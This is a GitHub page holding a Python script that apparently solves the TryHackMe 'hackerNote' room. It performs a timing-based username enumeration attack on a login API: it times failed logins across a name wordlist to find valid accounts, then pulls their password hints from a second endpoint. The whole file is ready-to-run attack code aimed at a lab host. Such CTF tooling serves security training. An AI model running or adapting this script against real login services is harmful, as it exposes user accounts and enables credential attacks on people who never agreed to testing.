-
Notifications
You must be signed in to change notification settings - Fork 0
/
timing_exploit.py
99 lines (82 loc) · 4.27 KB
/
timing_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3
################################################################################################
# Timing attack exploit on the login form from the THM-hackerNote Room:
# https://tryhackme.com/room/hackernote
# You can increase your success chance by adding your own username to the top of the name list
# Assumes you have at least ONE correct username, use the "create account" button for that.
#
# Credit(s): Stolen and improved from NinjaJc01 (James):
# https://github.com/NinjaJc01/hackerNoteExploits
#################################################################################################
import requests
from tqdm import tqdm
import time
# Setup this for your THM machine, without the trailing slash:
target_hostname: str = "http://10.10.86.135:8080"
namelist_to_use: str = "./j_names.txt"
# Initialize a few variables:
api_login: str = "/api/user/login"
api_passwordhint: str = "/api/user/passwordhint/"
valid_usernames: list = []
timings = dict()
def load_namelist(filename: str) -> list:
# Logic for loading our usernames wordlists and strip trailing
# newline characters.
wordlist: list = []
with open(filename, 'r', encoding="utf-8") as file:
for line in file:
wordlist.append(line.replace("\n", ""))
print(f"[=] Loaded wordlist {filename} for: {len(wordlist)} items.\n")
return wordlist
# === END def load_namelist ===
def make_request(username: str) -> None:
# Send a request to the API endpoint with a deliberately wrong password
# just to time the server answer:
json_request = {"username": username, "password": "invalidPassword!"}
response = requests.post(target_hostname+api_login, json=json_request)
if response.status_code != 200: # This means there was an API error
print(f"[E] Ooops, something went wrong: {response.status_code}.\n")
# === END def make_request ===
def check_password_hint(username: str) -> None:
response = requests.get(target_hostname+api_passwordhint+username)
if response.status_code == 200:
# User exists, we get a password hint from the endpoint
# Decode the JSON object and print out the hint:
response_list = response.json()
print(f"[=] User {username} is valid, password hint: {response_list.get('hint')}\n")
else:
# If the user doesn't exist we get a "404" code, or something went wrong,
# so we assume a false positive at this point:
print(f"[!] User {username} seems like a false positive. Return code: {response.status_code}.\n")
# === END def check_password_hint ===
if __name__ == '__main__':
print("### THM-hackerNote Room Python API timing username enumeration. ###")
usernames = load_namelist(namelist_to_use)
print(f"[=] Querying: {target_hostname+api_login}")
for user in tqdm(usernames, desc="Request", ascii=False, ncols=75):
# Do a request for every user in the list, and time how long it takes
start_time = time.time()
make_request(user)
end_time = time.time()
# record the time for this user along with the username
timings[user] = end_time - start_time
# Wait to avoid DoS-ing the server which _might_ crash the API endpoint
time.sleep(0.01)
# Longer times normally mean valid usernames as passwords were verified
largest_time = max(timings.values())
smallest_time = min(timings.values())
# Ideally, the smallest times should be near instant, and largest should be 1+ seconds
print(f"[=] Time delta: {largest_time-smallest_time} sec. (larger is better)")
# A valid username means the server will hash the password
# As this takes time, the longer requests are likely to be valid users
# The longer the request took, the more likely the request is to be valid.
for user, time in timings.items():
if time >= largest_time * 0.8:
# with 20% time tolerance, add to a new list for double-checking:
valid_usernames.append(user)
print(f"[=] All done, found {len(valid_usernames)} candidate(s)!\n")
print(f"[=] Now checking password hint API: {target_hostname+api_passwordhint}%USERNAME%")
# Double-check all username candidates with the password hint API to discover
# any false-positives.
for user in valid_usernames:
check_password_hint(user)